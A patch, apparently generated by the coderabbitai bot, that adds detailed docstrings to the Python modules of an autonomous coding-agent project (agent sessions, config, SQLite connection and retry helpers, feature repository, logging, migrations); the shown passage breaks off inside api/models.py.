From e5a53f5a77d0a60ce4997b64d027f86a31239e7d Mon Sep 17 00:00:00 2001 From: "coderabbitai[bot]" <136622811+coderabbitai[bot]@users.noreply.github.com> Date: Wed, 28 Jan 2026 00:42:36 +0000 Subject: [PATCH] =?UTF-8?q?=F0=9F=93=9D=20Add=20docstrings=20to=20`feature?= =?UTF-8?q?/my-updates`?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Docstrings generation was requested by @getworken. * https://github.com/getworken/autocoder-coderabbit/pull/2#issuecomment-3808312243 The following files were modified: * `agent.py` * `api/agent_types.py` * `api/config.py` * `api/connection.py` * `api/dependency_resolver.py` * `api/feature_repository.py` * `api/logging_config.py` * `api/migrations.py` * `api/models.py` * `autonomous_agent_demo.py` * `client.py` * `mcp_server/feature_mcp.py` * `parallel_orchestrator.py` * `progress.py` * `quality_gates.py` * `rate_limit_utils.py` * `security.py` * `server/main.py` * `server/routers/agent.py` * `server/routers/assistant_chat.py` * `server/routers/devserver.py` * `server/routers/features.py` * `server/routers/filesystem.py` * `server/routers/projects.py` * `server/routers/schedules.py` * `server/routers/settings.py` * `server/routers/spec_creation.py` * `server/routers/terminal.py` * `server/schemas.py` * `server/services/assistant_chat_session.py` * `server/services/dev_server_manager.py` * `server/services/expand_chat_session.py` * `server/services/process_manager.py` * `server/services/spec_chat_session.py` * `server/services/terminal_manager.py` * `server/utils/auth.py` * `server/utils/process_utils.py` * `server/utils/validation.py` * `server/websocket.py` * `start_ui.py` * `structured_logging.py` * `tests/conftest.py` * `tests/test_async_examples.py` * `tests/test_repository_and_config.py` * `tests/test_security.py` * `tests/test_security_integration.py` * `ui/src/App.tsx` * `ui/src/components/AssistantPanel.tsx` * `ui/src/components/ConversationHistory.tsx` * `ui/src/components/DebugLogViewer.tsx` * `ui/src/components/IDESelectionModal.tsx` * `ui/src/components/ProjectSelector.tsx` * `ui/src/components/ProjectSetupRequired.tsx` * `ui/src/components/ResetProjectModal.tsx` * `ui/src/components/ScheduleModal.tsx` * `ui/src/components/SettingsModal.tsx` * `ui/src/components/ThemeSelector.tsx` * `ui/src/hooks/useAssistantChat.ts` * `ui/src/hooks/useConversations.ts` * `ui/src/hooks/useProjects.ts` * `ui/src/lib/api.ts` --- agent.py | 25 +- api/agent_types.py | 9 +- api/config.py | 36 +- api/connection.py | 171 ++++---- api/dependency_resolver.py | 62 +-- api/feature_repository.py | 150 +++---- api/logging_config.py | 63 ++- api/migrations.py | 51 +-- api/models.py | 115 +++++- autonomous_agent_demo.py | 34 +- client.py | 75 ++-- mcp_server/feature_mcp.py | 447 ++++++++++----------- parallel_orchestrator.py | 293 +++++++++----- progress.py | 78 ++-- quality_gates.py | 147 ++++--- rate_limit_utils.py | 35 +- security.py | 107 ++--- server/main.py | 27 +- server/routers/agent.py | 22 +- server/routers/assistant_chat.py | 129 ++++-- server/routers/devserver.py | 18 +- server/routers/features.py | 10 +- server/routers/filesystem.py | 21 +- server/routers/projects.py | 257 +++++++++--- server/routers/schedules.py | 73 +++- server/routers/settings.py | 60 ++- server/routers/spec_creation.py | 53 ++- server/routers/terminal.py | 99 +++-- server/schemas.py | 26 +- server/services/assistant_chat_session.py | 42 +- server/services/dev_server_manager.py | 13 +- server/services/expand_chat_session.py | 82 ++-- server/services/process_manager.py | 76 ++-- server/services/spec_chat_session.py | 31 +- server/services/terminal_manager.py | 17 +- server/utils/auth.py | 60 +-- server/utils/process_utils.py | 55 ++- server/utils/validation.py | 29 +- server/websocket.py | 170 ++++++-- start_ui.py | 11 +- structured_logging.py | 237 ++++++++--- tests/conftest.py | 125 ++++-- tests/test_async_examples.py | 32 +- tests/test_repository_and_config.py | 12 +- tests/test_security.py | 116 +++++- tests/test_security_integration.py | 91 ++++- ui/src/App.tsx | 9 +- ui/src/components/AssistantPanel.tsx | 10 +- ui/src/components/ConversationHistory.tsx | 16 +- ui/src/components/DebugLogViewer.tsx | 12 +- ui/src/components/IDESelectionModal.tsx | 11 +- ui/src/components/ProjectSelector.tsx | 12 +- ui/src/components/ProjectSetupRequired.tsx | 14 +- ui/src/components/ResetProjectModal.tsx | 13 +- ui/src/components/ScheduleModal.tsx | 13 +- ui/src/components/SettingsModal.tsx | 12 +- ui/src/components/ThemeSelector.tsx | 10 +- ui/src/hooks/useAssistantChat.ts | 39 +- ui/src/hooks/useConversations.ts | 9 +- ui/src/hooks/useProjects.ts | 22 +- ui/src/lib/api.ts | 58 ++- 61 files changed, 2775 insertions(+), 1377 deletions(-) mode change 100755 => 100644 mcp_server/feature_mcp.py mode change 100755 => 100644 server/services/assistant_chat_session.py mode change 100755 => 100644 ui/src/hooks/useAssistantChat.ts diff --git a/agent.py b/agent.py index f9726dc..39549b2 100644 --- a/agent.py +++ b/agent.py @@ -58,17 +58,20 @@ async def run_agent_session( project_dir: Path, ) -> tuple[str, str]: """ - Run a single agent session using Claude Agent SDK. - - Args: - client: Claude SDK client - message: The prompt to send - project_dir: Project directory path - + Run a single interaction with the Claude Agent SDK and stream the assistant and tool output to stdout. + + Parameters: + client (ClaudeSDKClient): SDK client used to send the prompt and receive streamed messages. + message (str): Prompt text to send to the agent. + project_dir (Path): Project directory path used for contextual output. + Returns: - (status, response_text) where status is: - - "continue" if agent should continue working - - "error" if an error occurred + tuple[str, str]: A pair (status, payload) where: + - status is `"continue"` when the session completed normally, + `"rate_limit"` when a rate-limit error was detected, or `"error"` for other failures. + - payload is the assistant's concatenated response text when status is `"continue"`, + the retry-after seconds as a string or `"unknown"` when status is `"rate_limit"`, + or the error message when status is `"error"`. """ print("Sending prompt to Claude Agent SDK...\n") @@ -471,4 +474,4 @@ async def run_autonomous_agent( } ) - print("\nDone!") + print("\nDone!") \ No newline at end of file diff --git a/api/agent_types.py b/api/agent_types.py index 890e4aa..df91de0 100644 --- a/api/agent_types.py +++ b/api/agent_types.py @@ -25,5 +25,10 @@ class AgentType(str, Enum): TESTING = "testing" def __str__(self) -> str: - """Return the string value for string operations.""" - return self.value + """ + Return the enum member's underlying string value. + + Returns: + str: The underlying string value of the enum member. + """ + return self.value \ No newline at end of file diff --git a/api/config.py b/api/config.py index ed4c51c..0dbe7c1 100644 --- a/api/config.py +++ b/api/config.py @@ -114,12 +114,22 @@ class AutocoderConfig(BaseSettings): @property def is_using_alternative_api(self) -> bool: - """Check if using an alternative API provider (not Claude directly).""" + """ + Indicates whether an alternative Anthropic-compatible API endpoint and auth token are configured. + + Returns: + True if both `anthropic_base_url` and `anthropic_auth_token` are set, False otherwise. + """ return bool(self.anthropic_base_url and self.anthropic_auth_token) @property def is_using_ollama(self) -> bool: - """Check if using Ollama local models.""" + """ + Determine whether the configuration targets a local Ollama instance. + + Returns: + `true` if `anthropic_base_url` is set, `anthropic_auth_token` equals `"ollama"`, and the base URL's hostname is `localhost`, `127.0.0.1`, or `::1`; `false` otherwise. + """ if not self.anthropic_base_url or self.anthropic_auth_token != "ollama": return False host = urlparse(self.anthropic_base_url).hostname or "" @@ -131,12 +141,13 @@ def is_using_ollama(self) -> bool: def get_config() -> AutocoderConfig: - """Get the global configuration instance. - - Creates the config on first access (lazy loading). - + """ + Retrieve the global AutocoderConfig singleton. + + Creates and caches the AutocoderConfig on first access by loading settings from the environment and .env file. + Returns: - The global AutocoderConfig instance. + The global AutocoderConfig instance; created on first access if not already initialized. """ global _config if _config is None: @@ -145,13 +156,12 @@ def get_config() -> AutocoderConfig: def reload_config() -> AutocoderConfig: - """Reload configuration from environment. - - Useful after environment changes or for testing. - + """ + Reloads the global AutocoderConfig by re-reading environment variables. + Returns: - The reloaded AutocoderConfig instance. + AutocoderConfig: The reloaded configuration instance. """ global _config _config = AutocoderConfig() - return _config + return _config \ No newline at end of file diff --git a/api/connection.py b/api/connection.py index 4d7fc5c..953228e 100644 --- a/api/connection.py +++ b/api/connection.py @@ -41,17 +41,14 @@ def _is_network_path(path: Path) -> bool: - """Detect if path is on a network filesystem. - - WAL mode doesn't work reliably on network filesystems (NFS, SMB, CIFS) - and can cause database corruption. This function detects common network - path patterns so we can fall back to DELETE mode. - - Args: - path: The path to check - + """ + Detects whether a given path is located on a network filesystem. + + Detection is best-effort and may be conservative; if platform or system + information cannot be inspected, the function will return False. + Returns: - True if the path appears to be on a network filesystem + True if the path appears to be on a network filesystem, False otherwise. """ path_str = str(path.resolve()) @@ -92,14 +89,23 @@ def _is_network_path(path: Path) -> bool: def get_database_path(project_dir: Path) -> Path: - """Return the path to the SQLite database for a project.""" + """ + Get the filesystem path for the project's SQLite database file. + + Returns: + database_path (Path): Path to the 'features.db' file inside the given project directory. + """ return project_dir / "features.db" def get_database_url(project_dir: Path) -> str: - """Return the SQLAlchemy database URL for a project. - - Uses POSIX-style paths (forward slashes) for cross-platform compatibility. + """ + Builds the SQLAlchemy SQLite database URL for the given project directory. + + The path portion uses POSIX-style forward slashes for cross-platform compatibility. + + Returns: + database_url (str): SQLite URL pointing to the project's features.db (e.g. "sqlite:////path/to/features.db"). """ db_path = get_database_path(project_dir) return f"sqlite:///{db_path.as_posix()}" @@ -107,24 +113,18 @@ def get_database_url(project_dir: Path) -> str: def get_robust_connection(db_path: Path) -> sqlite3.Connection: """ - Get a robust SQLite connection with proper settings for concurrent access. - - This should be used by all code that accesses the database directly via sqlite3 - (not through SQLAlchemy). It ensures consistent settings across all access points. - - Settings applied: - - WAL mode for better concurrency (unless on network filesystem) - - Busy timeout of 30 seconds - - Synchronous mode NORMAL for balance of safety and performance - - Args: - db_path: Path to the SQLite database file - + Open and configure a sqlite3.Connection optimized for concurrent access. + + Configures the connection with a 30-second busy timeout, enables WAL journal mode when the database file is on a local filesystem, and sets synchronous mode to NORMAL. + + Parameters: + db_path (Path): Path to the SQLite database file. + Returns: - Configured sqlite3.Connection - + sqlite3.Connection: Configured SQLite connection. + Raises: - sqlite3.Error: If connection cannot be established + sqlite3.Error: If the database connection or PRAGMA configuration fails. """ conn = sqlite3.connect(str(db_path), timeout=SQLITE_BUSY_TIMEOUT_MS / 1000) @@ -148,18 +148,13 @@ def get_robust_connection(db_path: Path) -> sqlite3.Connection: @contextmanager def robust_db_connection(db_path: Path): """ - Context manager for robust SQLite connections with automatic cleanup. - - Usage: - with robust_db_connection(db_path) as conn: - cursor = conn.cursor() - cursor.execute("SELECT * FROM features") - - Args: - db_path: Path to the SQLite database file - + Context manager that yields a configured sqlite3.Connection and ensures it is closed on exit. + + Parameters: + db_path (Path): Path to the SQLite database file. + Yields: - Configured sqlite3.Connection + sqlite3.Connection: A configured connection to the database; closed when the context exits. """ conn = None try: @@ -178,22 +173,21 @@ def execute_with_retry( max_retries: int = SQLITE_MAX_RETRIES ) -> Any: """ - Execute a SQLite query with automatic retry on transient errors. - - Handles SQLITE_BUSY and SQLITE_LOCKED errors with exponential backoff. - - Args: - db_path: Path to the SQLite database file - query: SQL query to execute - params: Query parameters (tuple) - fetch: What to fetch - "none", "one", "all" - max_retries: Maximum number of retry attempts - + Execute a SQL statement against the given SQLite file and retry on transient lock/busy errors. + + Parameters: + db_path (Path): Path to the SQLite database file. + query (str): SQL statement to execute. + params (tuple): Parameters to bind to the SQL statement. + fetch (str): Result mode: "none" commits and returns the number of affected rows, "one" returns a single row (or None), "all" returns all rows as a list. + max_retries (int): Maximum number of retry attempts for transient errors. + Returns: - Query result based on fetch parameter - + int | tuple | list | None: For `fetch == "none"`, the number of rows affected; for `fetch == "one"`, a single row tuple or `None`; for `fetch == "all"`, a list of row tuples. + Raises: - sqlite3.Error: If query fails after all retries + sqlite3.DatabaseError: On database corruption or other database-level errors. + sqlite3.OperationalError: If the statement fails after all retries (including persistent lock/busy conditions). """ last_error = None delay = SQLITE_RETRY_DELAY_MS / 1000 # Convert to seconds @@ -241,13 +235,17 @@ def execute_with_retry( def check_database_health(db_path: Path) -> dict: """ - Check the health of a SQLite database. - + Assess the integrity and journal mode of a SQLite database file. + + Parameters: + db_path (Path): Path to the SQLite database file to check. + Returns: - Dict with: - - healthy (bool): True if database passes integrity check - - journal_mode (str): Current journal mode (WAL/DELETE/etc) - - error (str, optional): Error message if unhealthy + dict: A dictionary containing: + - healthy (bool): `True` if the database passes PRAGMA integrity_check, `False` otherwise. + - journal_mode (str, optional): The current journal mode (e.g., "WAL", "DELETE") when available. + - integrity (str, optional): The raw result of PRAGMA integrity_check when available (e.g., "ok"). + - error (str, optional): Error message when the file is missing or an integrity/IO error occurred. """ if not db_path.exists(): return {"healthy": False, "error": "Database file does not exist"} @@ -342,22 +340,13 @@ def create_database(project_dir: Path) -> tuple: def checkpoint_wal(project_dir: Path) -> bool: """ - Checkpoint the WAL file to ensure all changes are written to the main database. - - This should be called before exiting the orchestrator to ensure data durability - and prevent database corruption when multiple agents are running. - - WAL checkpoint modes: - - PASSIVE (0): Checkpoint as much as possible without blocking - - FULL (1): Checkpoint everything, block writers if necessary - - RESTART (2): Like FULL but also truncate WAL - - TRUNCATE (3): Like RESTART but ensure WAL is zero bytes - - Args: - project_dir: Directory containing the project database - + Force a WAL checkpoint for the project's SQLite database to flush and truncate the WAL into the main database. + + Parameters: + project_dir (Path): Directory containing the project's SQLite database file (features.db). + Returns: - True if checkpoint succeeded, False otherwise + `true` if the checkpoint succeeded or the database file does not exist, `false` otherwise. """ db_path = get_database_path(project_dir) if not db_path.exists(): @@ -386,13 +375,10 @@ def checkpoint_wal(project_dir: Path) -> bool: def invalidate_engine_cache(project_dir: Path) -> None: """ - Invalidate the engine cache for a specific project. - - Call this when you need to ensure fresh database connections, e.g., - after subprocess commits that may not be visible to the current connection. - - Args: - project_dir: Directory containing the project + Invalidate and dispose the cached SQLAlchemy Engine and SessionLocal for the given project directory. + + Parameters: + project_dir (Path): Path to the project directory whose cached engine should be removed. """ cache_key = project_dir.resolve().as_posix() with _engine_cache_lock: @@ -411,17 +397,24 @@ def invalidate_engine_cache(project_dir: Path) -> None: def set_session_maker(session_maker: sessionmaker) -> None: - """Set the global session maker.""" + """ + Configure the module-wide SQLAlchemy session factory used by get_db and get_db_session. + + Parameters: + session_maker (sessionmaker): A SQLAlchemy sessionmaker instance to use as the global session factory. + """ global _session_maker _session_maker = session_maker def get_db() -> Session: """ - Dependency for FastAPI to get database session. - - Yields a database session and ensures it's closed after use. - Properly rolls back on error to prevent PendingRollbackError. + Provide a SQLAlchemy Session for FastAPI dependency injection. + + Yields a Session for database operations and ensures the session is closed afterwards. On exception, rolls back the transaction before re-raising. + + Returns: + Session: A SQLAlchemy Session instance for use in request handling. """ if _session_maker is None: raise RuntimeError("Database not initialized. Call set_session_maker first.") @@ -467,4 +460,4 @@ def get_db_session(project_dir: Path): session.rollback() raise finally: - session.close() + session.close() \ No newline at end of file diff --git a/api/dependency_resolver.py b/api/dependency_resolver.py index 0cec80f..80d16bc 100644 --- a/api/dependency_resolver.py +++ b/api/dependency_resolver.py @@ -144,18 +144,16 @@ def get_blocking_dependencies( def would_create_circular_dependency( features: list[dict], source_id: int, target_id: int ) -> bool: - """Check if adding a dependency from target to source would create a cycle. - - Uses iterative DFS with explicit stack to prevent stack overflow on deep - dependency graphs. - - Args: - features: List of all feature dicts - source_id: The feature that would gain the dependency - target_id: The feature that would become a dependency - + """ + Determine whether adding a dependency from the feature with id `target_id` to the feature with id `source_id` would create a cycle. + + Parameters: + features (list[dict]): All feature objects (each must include an `"id"` and may include `"dependencies"`). + source_id (int): The id of the feature that would gain the dependency. + target_id (int): The id of the feature that would become a dependency. + Returns: - True if adding the dependency would create a cycle + bool: `True` if adding the dependency would create a cycle, `False` otherwise. """ if source_id == target_id: return True # Self-reference is a cycle @@ -204,15 +202,21 @@ def would_create_circular_dependency( def validate_dependencies( feature_id: int, dependency_ids: list[int], all_feature_ids: set[int] ) -> tuple[bool, str]: - """Validate dependency list. - - Args: - feature_id: ID of the feature being validated - dependency_ids: List of proposed dependency IDs - all_feature_ids: Set of all valid feature IDs - + """ + Validate a proposed list of dependency IDs for a feature. + + Parameters: + feature_id (int): ID of the feature being validated. + dependency_ids (list[int]): Proposed dependency IDs for the feature. + all_feature_ids (set[int]): Set of all existing feature IDs. + Returns: - Tuple of (is_valid, error_message) + tuple[bool, str]: (is_valid, error_message). `is_valid` is `True` when the dependency list passes all checks. + When invalid, `error_message` explains the failure, which may indicate: + - the dependency count exceeds the allowed maximum (MAX_DEPENDENCIES_PER_FEATURE), + - a self-dependency (feature depends on itself), + - one or more dependency IDs are missing from `all_feature_ids`, + - duplicate dependency IDs were provided. """ # Security: Check limits if len(dependency_ids) > MAX_DEPENDENCIES_PER_FEATURE: @@ -235,17 +239,15 @@ def validate_dependencies( def _detect_cycles(features: list[dict], feature_map: dict) -> list[list[int]]: - """Detect cycles using iterative DFS with explicit stack. - - Converts the recursive DFS to iterative to prevent stack overflow - on deep dependency graphs. - - Args: - features: List of features to check for cycles - feature_map: Map of feature_id -> feature dict - + """ + Identify all dependency cycles among the provided features. + + Parameters: + features (list[dict]): Iterable of feature dicts to inspect; each feature must include an "id" key. + feature_map (dict): Mapping from feature_id to its feature dict (used to look up a feature's "dependencies"). + Returns: - List of cycles, where each cycle is a list of feature IDs + list[list[int]]: A list of cycles, where each cycle is represented as a list of feature IDs in cycle order. """ cycles: list[list[int]] = [] visited: set[int] = set() @@ -479,4 +481,4 @@ def build_graph_data(features: list[dict]) -> dict: for dep_id in deps: edges.append({"source": dep_id, "target": f["id"]}) - return {"nodes": nodes, "edges": edges} + return {"nodes": nodes, "edges": edges} \ No newline at end of file diff --git a/api/feature_repository.py b/api/feature_repository.py index dfcd8a4..c0b7e4b 100644 --- a/api/feature_repository.py +++ b/api/feature_repository.py @@ -30,23 +30,27 @@ def _utc_now() -> datetime: - """Return current UTC time.""" + """ + Return the current UTC datetime with timezone information. + + Returns: + datetime: Current UTC datetime with tzinfo set to UTC. + """ return datetime.now(timezone.utc) def _commit_with_retry(session: Session, max_retries: int = MAX_COMMIT_RETRIES) -> None: """ - Commit a session with retry logic for transient errors. - - Handles SQLITE_BUSY, SQLITE_LOCKED, and similar transient errors - with exponential backoff. - - Args: - session: SQLAlchemy session to commit - max_retries: Maximum number of retry attempts - + Commit the given SQLAlchemy session, retrying transient database lock/busy errors with exponential backoff. + + This function attempts to commit the session and, on transient OperationalError messages containing "locked" or "busy", retries the commit up to `max_retries` times with an exponentially increasing delay, rolling back the session between attempts. Logs warnings on intermediate retries and logs an error before re-raising the final error if all attempts fail. + + Parameters: + session (Session): SQLAlchemy session to commit. + max_retries (int): Maximum number of retry attempts (default defined by module constant). + Raises: - OperationalError: If commit fails after all retries + OperationalError: If the commit fails after all retry attempts. """ delay_ms = INITIAL_RETRY_DELAY_MS last_error = None @@ -117,10 +121,11 @@ def get_all(self) -> list[Feature]: return self.session.query(Feature).all() def get_all_ordered_by_priority(self) -> list[Feature]: - """Get all features ordered by priority (lowest first). - + """ + Return all Feature records ordered by priority (lowest first). + Returns: - List of Feature objects ordered by priority. + List of Feature objects ordered by ascending priority. """ return self.session.query(Feature).order_by(Feature.priority).all() @@ -155,26 +160,29 @@ def get_passing(self) -> list[Feature]: return self.session.query(Feature).filter(Feature.passes == True).all() def get_passing_count(self) -> int: - """Get count of passing features. - + """ + Return the number of features with `passes` set to True. + Returns: - Number of passing features. + count (int): The number of features where `passes` is True. """ return self.session.query(Feature).filter(Feature.passes == True).count() def get_in_progress(self) -> list[Feature]: - """Get all features currently in progress. - + """ + Retrieve all features that are currently marked as in progress. + Returns: - List of Feature objects that are in progress. + list[Feature]: Features whose `in_progress` attribute is set to True. """ return self.session.query(Feature).filter(Feature.in_progress == True).all() def get_pending(self) -> list[Feature]: - """Get features that are not passing and not in progress. - + """ + Return features that are neither passing nor in progress. + Returns: - List of pending Feature objects. + list[Feature]: Features with `passes` == False and `in_progress` == False. """ return self.session.query(Feature).filter( Feature.passes == False, @@ -182,18 +190,20 @@ def get_pending(self) -> list[Feature]: ).all() def get_non_passing(self) -> list[Feature]: - """Get all features that are not passing. - + """ + List features that are not passing. + Returns: - List of non-passing Feature objects. + list[Feature]: Feature objects whose `passes` attribute is False. """ return self.session.query(Feature).filter(Feature.passes == False).all() def get_max_priority(self) -> Optional[int]: - """Get the maximum priority value. - + """ + Return the highest priority value among all Feature records. + Returns: - Maximum priority value or None if no features exist. + The highest priority value as an int, or `None` if no features exist. """ feature = self.session.query(Feature).order_by(Feature.priority.desc()).first() return feature.priority if feature else None @@ -203,16 +213,17 @@ def get_max_priority(self) -> Optional[int]: # ======================================================================== def mark_in_progress(self, feature_id: int) -> Optional[Feature]: - """Mark a feature as in progress. - - Args: - feature_id: The feature ID to update. - + """ + Mark the specified feature as in progress. + + Parameters: + feature_id (int): ID of the feature to mark as in progress. + Returns: - Updated Feature or None if not found. - - Note: - Uses retry logic to handle transient database errors. + Feature | None: The updated Feature instance, or `None` if no feature with the given ID exists. + + Notes: + Commits use retry logic to handle transient database errors. """ feature = self.get_by_id(feature_id) if feature and not feature.passes and not feature.in_progress: @@ -223,17 +234,16 @@ def mark_in_progress(self, feature_id: int) -> Optional[Feature]: return feature def mark_passing(self, feature_id: int) -> Optional[Feature]: - """Mark a feature as passing. - - Args: - feature_id: The feature ID to update. - + """ + Mark the feature identified by `feature_id` as passing and persist the change. + + This sets `passes` to `True`, clears `in_progress`, and updates `completed_at` to the current UTC time; the change is persisted (with retry on transient database errors) and the returned object is refreshed from the session. + + Parameters: + feature_id (int): ID of the Feature to mark as passing. + Returns: - Updated Feature or None if not found. - - Note: - Uses retry logic to handle transient database errors. - This is a critical operation - the feature completion must be persisted. + Feature | None: The updated Feature instance if found, `None` if no Feature with `feature_id` exists. """ feature = self.get_by_id(feature_id) if feature: @@ -266,16 +276,16 @@ def mark_failing(self, feature_id: int) -> Optional[Feature]: return feature def clear_in_progress(self, feature_id: int) -> Optional[Feature]: - """Clear the in-progress flag on a feature. - - Args: - feature_id: The feature ID to update. - + """ + Clear the in_progress flag for the feature with the given id. + + If the feature exists, sets its `in_progress` attribute to False, commits the change using the repository's retry logic, and refreshes the instance. + + Parameters: + feature_id (int): ID of the feature to update. + Returns: - Updated Feature or None if not found. - - Note: - Uses retry logic to handle transient database errors. + The updated `Feature` instance if found, otherwise `None`. """ feature = self.get_by_id(feature_id) if feature: @@ -289,15 +299,13 @@ def clear_in_progress(self, feature_id: int) -> Optional[Feature]: # ======================================================================== def get_ready_features(self) -> list[Feature]: - """Get features that are ready to implement. - - A feature is ready if: - - Not passing - - Not in progress - - All dependencies are passing - + """ + Return features that are ready to implement. + + A feature is ready when it is not passing, not in progress, and every dependency id is in the set of passing feature ids. + Returns: - List of ready Feature objects. + list[Feature]: Features that meet the readiness criteria. """ passing_ids = self.get_passing_ids() candidates = self.get_pending() @@ -311,11 +319,13 @@ def get_ready_features(self) -> list[Feature]: return ready def get_blocked_features(self) -> list[tuple[Feature, list[int]]]: - """Get features blocked by unmet dependencies. - + """ + Return features that are currently blocked due to unmet dependencies. + + Each item is a tuple (feature, blocking_ids) where blocking_ids is a list of dependency feature IDs that are not passing. + Returns: - List of tuples (feature, blocking_ids) where blocking_ids - are the IDs of features that are blocking this one. + blocked (list[tuple[Feature, list[int]]]): Features with at least one unmet dependency and the IDs of those blocking dependencies. """ passing_ids = self.get_passing_ids() candidates = self.get_non_passing() @@ -327,4 +337,4 @@ def get_blocked_features(self) -> list[tuple[Feature, list[int]]]: if blocking: blocked.append((f, blocking)) - return blocked + return blocked \ No newline at end of file diff --git a/api/logging_config.py b/api/logging_config.py index 8e1a775..a970b9c 100644 --- a/api/logging_config.py +++ b/api/logging_config.py @@ -47,18 +47,16 @@ def setup_logging( root_level: int = DEFAULT_LOG_LEVEL, ) -> None: """ - Configure logging for the Autocoder application. - - Sets up: - - RotatingFileHandler for detailed logs (DEBUG level) - - StreamHandler for console output (INFO level by default) - - Args: - log_dir: Directory for log files (default: ./logs/) - log_file: Name of the log file - console_level: Log level for console output - file_level: Log level for file output - root_level: Root logger level + Configure global logging for the Autocoder application. + + Sets up a rotating file handler and a console handler, reduces noise from common third-party libraries, and is a no-op if logging has already been configured. + + Parameters: + log_dir (Optional[Path]): Directory where log files will be written. Defaults to the module's DEFAULT_LOG_DIR if None. + log_file (str): Filename for the primary log file. + console_level (int): Log level for console output. + file_level (int): Log level for file output. + root_level (int): Log level for the root logger. """ global _logging_configured @@ -132,17 +130,14 @@ def setup_orchestrator_logging( session_id: Optional[str] = None, ) -> logging.Logger: """ - Set up a dedicated logger for the orchestrator with a specific log file. - - This creates a separate logger for orchestrator debug output that writes - to a dedicated file (replacing the old DebugLogger class). - - Args: - log_file: Path to the orchestrator log file - session_id: Optional session identifier - + Configure a dedicated "orchestrator" logger that writes to the provided rotating log file and does not propagate to the root logger. + + Parameters: + log_file (Path): Path to the orchestrator log file. + session_id (Optional[str]): Optional session identifier to record at session start. + Returns: - Configured logger for orchestrator use + logging.Logger: The configured orchestrator logger (level DEBUG, non-propagating). """ logger = logging.getLogger("orchestrator") logger.setLevel(logging.DEBUG) @@ -180,11 +175,11 @@ def setup_orchestrator_logging( def log_section(logger: logging.Logger, title: str) -> None: """ - Log a section header for visual separation in log files. - - Args: - logger: Logger instance - title: Section title + Log a visually distinct section header to the provided logger. + + Parameters: + logger (logging.Logger): Logger that will receive the header lines. + title (str): Title text displayed between separator lines. """ logger.info("") logger.info("=" * 60) @@ -195,13 +190,13 @@ def log_section(logger: logging.Logger, title: str) -> None: def log_key_value(logger: logging.Logger, message: str, **kwargs) -> None: """ - Log a message with key-value pairs. - - Args: - logger: Logger instance - message: Main message - **kwargs: Key-value pairs to log + Log a primary message followed by each provided key-value pair as indented info lines. + + Parameters: + logger (logging.Logger): Logger used to emit the messages. + message (str): Primary message to log. + **kwargs: Additional key-value pairs to log; each pair is emitted on its own indented line. """ logger.info(message) for key, value in kwargs.items(): - logger.info(f" {key}: {value}") + logger.info(f" {key}: {value}") \ No newline at end of file diff --git a/api/migrations.py b/api/migrations.py index 7b093fb..f128373 100644 --- a/api/migrations.py +++ b/api/migrations.py @@ -33,7 +33,11 @@ def migrate_add_in_progress_column(engine) -> None: def migrate_fix_null_boolean_fields(engine) -> None: - """Fix NULL values in passes and in_progress columns.""" + """ + Set NULL values in the features table's `passes` and `in_progress` columns to 0. + + Updates any rows in `features` where `passes` or `in_progress` are NULL to use 0 and persists the changes. + """ with engine.connect() as conn: # Fix NULL passes values conn.execute(text("UPDATE features SET passes = 0 WHERE passes IS NULL")) @@ -43,10 +47,10 @@ def migrate_fix_null_boolean_fields(engine) -> None: def migrate_add_dependencies_column(engine) -> None: - """Add dependencies column to existing databases that don't have it. - - Uses NULL default for backwards compatibility - existing features - without dependencies will have NULL which is treated as empty list. + """ + Add a nullable `dependencies` column to the `features` table if it does not exist. + + Adds a `TEXT` column named `dependencies` with `DEFAULT NULL` for backwards compatibility so existing rows remain `NULL` (interpreted by the application as an empty list). """ with engine.connect() as conn: # Check if column exists @@ -60,15 +64,10 @@ def migrate_add_dependencies_column(engine) -> None: def migrate_add_testing_columns(engine) -> None: - """Legacy migration - handles testing columns that were removed from the model. - - The testing_in_progress and last_tested_at columns were removed from the - Feature model as part of simplifying the testing agent architecture. - Multiple testing agents can now test the same feature concurrently - without coordination. - - This migration ensures these columns are nullable so INSERTs don't fail - on databases that still have them with NOT NULL constraints. + """ + Make the features table's testing columns nullable to accommodate legacy schemas. + + If the features table defines `testing_in_progress` with a NOT NULL constraint, this migration recreates the table (preserving any additional existing columns and their types), copies data, rebuilds relevant indexes, and commits the change so that `testing_in_progress` and `last_tested_at` are nullable. On failure the migration rolls back and re-raises the original exception. """ with engine.connect() as conn: # Check if testing_in_progress column exists with NOT NULL @@ -152,7 +151,11 @@ def migrate_add_testing_columns(engine) -> None: def migrate_add_schedules_tables(engine) -> None: - """Create schedules and schedule_overrides tables if they don't exist.""" + """ + Create schedules and schedule_overrides tables if missing and add upgrade columns to schedules when present. + + If the `schedules` table does not exist, it is created. If the `schedule_overrides` table does not exist, it is created. If `schedules` exists, add the `crash_count` column (`INTEGER DEFAULT 0`) and the `max_concurrency` column (`INTEGER DEFAULT 3`) when they are not already present. + """ from sqlalchemy import inspect inspector = inspect(engine) @@ -241,10 +244,10 @@ def migrate_add_feature_errors_table(engine) -> None: def migrate_add_regression_count_column(engine) -> None: - """Add regression_count column to existing databases that don't have it. - - This column tracks how many times a feature has been regression tested, - enabling least-tested-first selection for regression testing. + """ + Add a regression_count column to the features table if it does not exist. + + The column is created as INTEGER DEFAULT 0 NOT NULL so existing rows start with a regression count of 0. """ with engine.connect() as conn: # Check if column exists @@ -259,10 +262,10 @@ def migrate_add_regression_count_column(engine) -> None: def migrate_add_quality_result_column(engine) -> None: - """Add quality_result column to existing databases that don't have it. - - This column stores quality gate results (test evidence) when a feature - is marked as passing. Format: JSON with {passed, timestamp, checks: {...}, summary} + """ + Ensure the features table has a `quality_result` column for storing quality gate results. + + Adds a nullable `quality_result` JSON column to `features` if it does not exist. The JSON is expected to contain keys such as `passed` (boolean), `timestamp` (ISO 8601 string), `checks` (object with per-check details), and `summary` (string). """ with engine.connect() as conn: # Check if column exists @@ -287,4 +290,4 @@ def run_all_migrations(engine) -> None: migrate_add_feature_attempts_table(engine) migrate_add_feature_errors_table(engine) migrate_add_regression_count_column(engine) - migrate_add_quality_result_column(engine) + migrate_add_quality_result_column(engine) \ No newline at end of file diff --git a/api/models.py b/api/models.py index 57150ed..c417fbd 100644 --- a/api/models.py +++ b/api/models.py @@ -26,7 +26,12 @@ def _utc_now() -> datetime: - """Return current UTC time.""" + """ + Get the current UTC datetime with timezone information. + + Returns: + datetime: A timezone-aware `datetime` set to UTC. + """ return datetime.now(timezone.utc) @@ -70,7 +75,29 @@ class Feature(Base): quality_result = Column(JSON, nullable=True) # Last quality gate result when marked passing def 